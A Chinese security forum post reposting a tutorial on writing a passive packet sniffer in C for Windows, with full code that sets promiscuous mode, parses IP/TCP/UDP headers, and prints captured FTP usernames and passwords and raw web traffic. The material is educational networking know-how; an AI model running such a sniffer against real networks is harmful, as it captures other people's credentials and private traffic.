安全矩阵

 找回密码
 立即注册
搜索
查看: 2103|回复: 0

网络安全编程:嗅探技术

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-10 17:51:28 | 显示全部楼层 |阅读模式
网络安全编程:嗅探技术计算机与网络安全 昨天
一次性付费进群,长期免费索取资料。
回复公众号:微信群 可查看进群流程。
广告
从实践中学习Kali Linux渗透测试作者:大学霸IT达人
当当


微信公众号:计算机与网络安全
ID:Computer-network

嗅探器可以神不知鬼不觉地去获得局域网中用户访问网络的数据,可谓是隐藏在黑暗中的偷窥者。嗅探技术可以分为主动嗅探和被动嗅探。主动嗅探主要是依赖ARP欺骗或MAC欺骗诱导被攻击者将数据发送给攻击者;被动嗅探主要是将网卡设置为混杂模式,然后接收通过网卡的所有数据。本文主要介绍被动嗅探的工作方式。

1. 嗅探器的编写思路

共享方式下的以太网会将数据发送给同一网段内的所有计算机网卡,接收到数据的网卡会将与自己MAC地址不匹配的数据丢弃。因为共享以太网会将别人的数据也发送给自己计算机的网卡,所以嗅探器就是利用共享以太网的原理进行嗅探的。网卡可以工作在多种方式下,当网卡工作在混杂模式下时,可接收所有的数据而不丢弃。当接收到数据以后,就需要自己解析IP头、TCP头、UDP头等信息。因此,开发一个嗅探器的简单思路就是改变网卡的工作方式为混杂模式,并解析收到的数据包。

设置网卡的工作方式为混杂模式,该功能通过ioctlsocket()函数即可改变。代码如下:
  1. // 设置 SIO_RCVALL 控制代码,以便接收所有的 IP 包
  2. DWORD dwValue = 1;
  3. if( ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0 )
  4. {
  5. return -1;
  6. }
复制代码
SIO_RCVALL定义在mstcpip.h头文件中,因此要编译它,必须包含该头文件及库文件,代码如下:
  1. #include <mstcpip.h>
  2. #pragma comment(lib, "Advapi32.lib")
复制代码
为了收到数据包以便自己解析数据包,就要使用原始套接字,而不能单纯地使用TCP或UDP套接字。对于解析数据包,必须了解和清楚数据包的格式。这里给出TCP和UDP数据包的格式,定义如下:
  1. typedef struct _TCPHeader // 20 字节的 TCP 头
  2. {
  3. USHORT sourcePort; // 16 位源端口号
  4. USHORT destinationPort; // 16 位目的端口号
  5. ULONG sequenceNumber; // 32 位序列号
  6. ULONG acknowledgeNumber; // 32 位确认号
  7. UCHAR dataoffset; // 高 4 位表示数据偏移
  8. UCHAR flags; // 6 位标志位
  9. USHORT windows; // 16 位窗口大小
  10. USHORT checksum; // 16 位校验和
  11. USHORT urgentPointer; // 16 位紧急数据偏移量
  12. } TCPHeader, *PTCPHeader;
  13. typedef struct _UDPHeader
  14. {
  15. USHORT sourcePort; // 源端口号
  16. USHORT destinationPort; // 目的端口号
  17. USHORT len; // 封包长度
  18. USHORT checksum; // 校验和
  19. } UDPHeader, *PUDPHeader;
复制代码
2. 嗅探器的实现代码
有了上面的内容,剩下的部分就简单了。代码如下:
  1. void DecodeTCPPacket(char *pData, char *szSrcIP, char *szDestIp)
  2. {
  3.   TCPHeader *pTCPHdr = (TCPHeader *)pData;
  4.   printf("%s:%d -> %s:%d\r\n",szSrcIP,
  5.     ntohs(pTCPHdr->sourcePort),szDestIp,
  6.     ntohs(pTCPHdr->destinationPort));
  7.   // 下面还可以根据目的端口号进一步解析应用层协议
  8.   switch(::ntohs(pTCPHdr->destinationPort))
  9.   {
  10.   case 21:
  11.     // 解析 FTP 的用户名和密码
  12.     printf("FTP========================================\r\n");
  13.     pData = pData + sizeof(TCPHeader);
  14.     if ( strncmp(pData, "USER ", 5) == 0 )
  15.     {
  16.       printf("Ftp UserName : %s \r\n", pData + 4);
  17.     }
  18.     if ( strncmp(pData, "PASS ", 5) == 0 )
  19.     {
  20.       printf("Ftp Password : %s \r\n", pData + 4);
  21.     }
  22.     printf("FTP========================================\r\n");
  23.     break;
  24.   case 80:
  25.   case 8080:
  26.     // 直接输出浏览器获取到的内容
  27.     printf("WEB========================================\r\n");
  28.     printf("%s\r\n", pData + sizeof(TCPHeader));
  29.     printf("WEB========================================\r\n");
  30.     break;
  31.   }
  32. }
  33. void DecodeUDPPacket(char *pData, char *szSrcIP, char *szDestIp)
  34. {
  35.   UDPHeader *pUDPHdr = (UDPHeader *)pData;
  36.   printf("%s:%d -> %s:%d\r\n",szSrcIP,
  37.     ntohs(pUDPHdr->sourcePort),szDestIp,
  38.     ntohs(pUDPHdr->destinationPort));
  39. }
  40. void DecodeIPPacket(char *pData)
  41. {
  42.   IPHeader *pIPHdr = (IPHeader*)pData;
  43.   in_addr source, dest;
  44.   char szSourceIp[32], szDestIp[32];
  45.   printf("-------------------------------\r\n");
  46.   // 从 IP 头中取出源 IP 地址和目的 IP 地址
  47.   source.S_un.S_addr = pIPHdr->ipSource;
  48.   dest.S_un.S_addr = pIPHdr->ipDestination;
  49.   strcpy(szSourceIp, inet_ntoa(source));
  50.   strcpy(szDestIp, inet_ntoa(dest));
  51.   // IP 头长度
  52.   int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);
  53.   switch( pIPHdr->ipProtocol )
  54.   {
  55.   case IPPROTO_TCP: // TCP 协议
  56.     DecodeTCPPacket(pData + nHeaderLen, szSourceIp, szDestIp);
  57.     break;
  58.   case IPPROTO_UDP:
  59.     DecodeUDPPacket(pData + nHeaderLen, szSourceIp, szDestIp);
  60.     break;
  61.   case IPPROTO_ICMP:
  62.     break;
  63.   }
  64. }
  65. int main()
  66. {
  67.   WSADATA wsa;
  68.   WSAStartup(MAKEWORD(2, 2), &wsa);
  69.   // 创建原始套节字
  70.   SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
  71.   // 获取本地 IP 地址
  72.   char szHostName[56];
  73.   SOCKADDR_IN addr_in;
  74.   struct hostent *pHost;
  75.   gethostname(szHostName, 56);
  76.   if( (pHost = gethostbyname((char*)szHostName)) == NULL )
  77.   {
  78.     return -1;
  79.   }
  80.   // 在调用 ioctl 之前,必须绑定套节字
  81.   addr_in.sin_family = AF_INET;
  82.   addr_in.sin_port = htons(0);
  83.   memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);
  84.   printf("Binding to interface : %s \r\n", ::inet_ntoa(addr_in.sin_addr));
  85.   if( bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR )
  86.   {
  87.     return -1;
  88.   }
  89.   // 设置 SIO_RCVALL 控制代码,以便接收所有的 IP 包
  90.   DWORD dwValue = 1;
  91.   if( ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0 )
  92.   {
  93.     return -1;
  94.   }
  95.   // 开始接收封包
  96.   char buff[1024];
  97.   int nRet;
  98.   while(TRUE)
  99.   {
  100.     nRet = recv(sRaw, buff, 1024, 0);
  101.     if( nRet > 0 )
  102.     {
  103.       DecodeIPPacket(buff);
  104.     }
  105.   }
  106.   closesocket(sRaw);
  107.   WSACleanup();
  108.   return 0;
  109. }
复制代码
嗅探器的运行结果如图1和图2所示。

图1  解析FTP登录账户和密码


图2  Web数据的直接输出

参考文献:C++ 黑客编程揭秘与防范(第3版)

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:39 , Processed in 0.012779 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表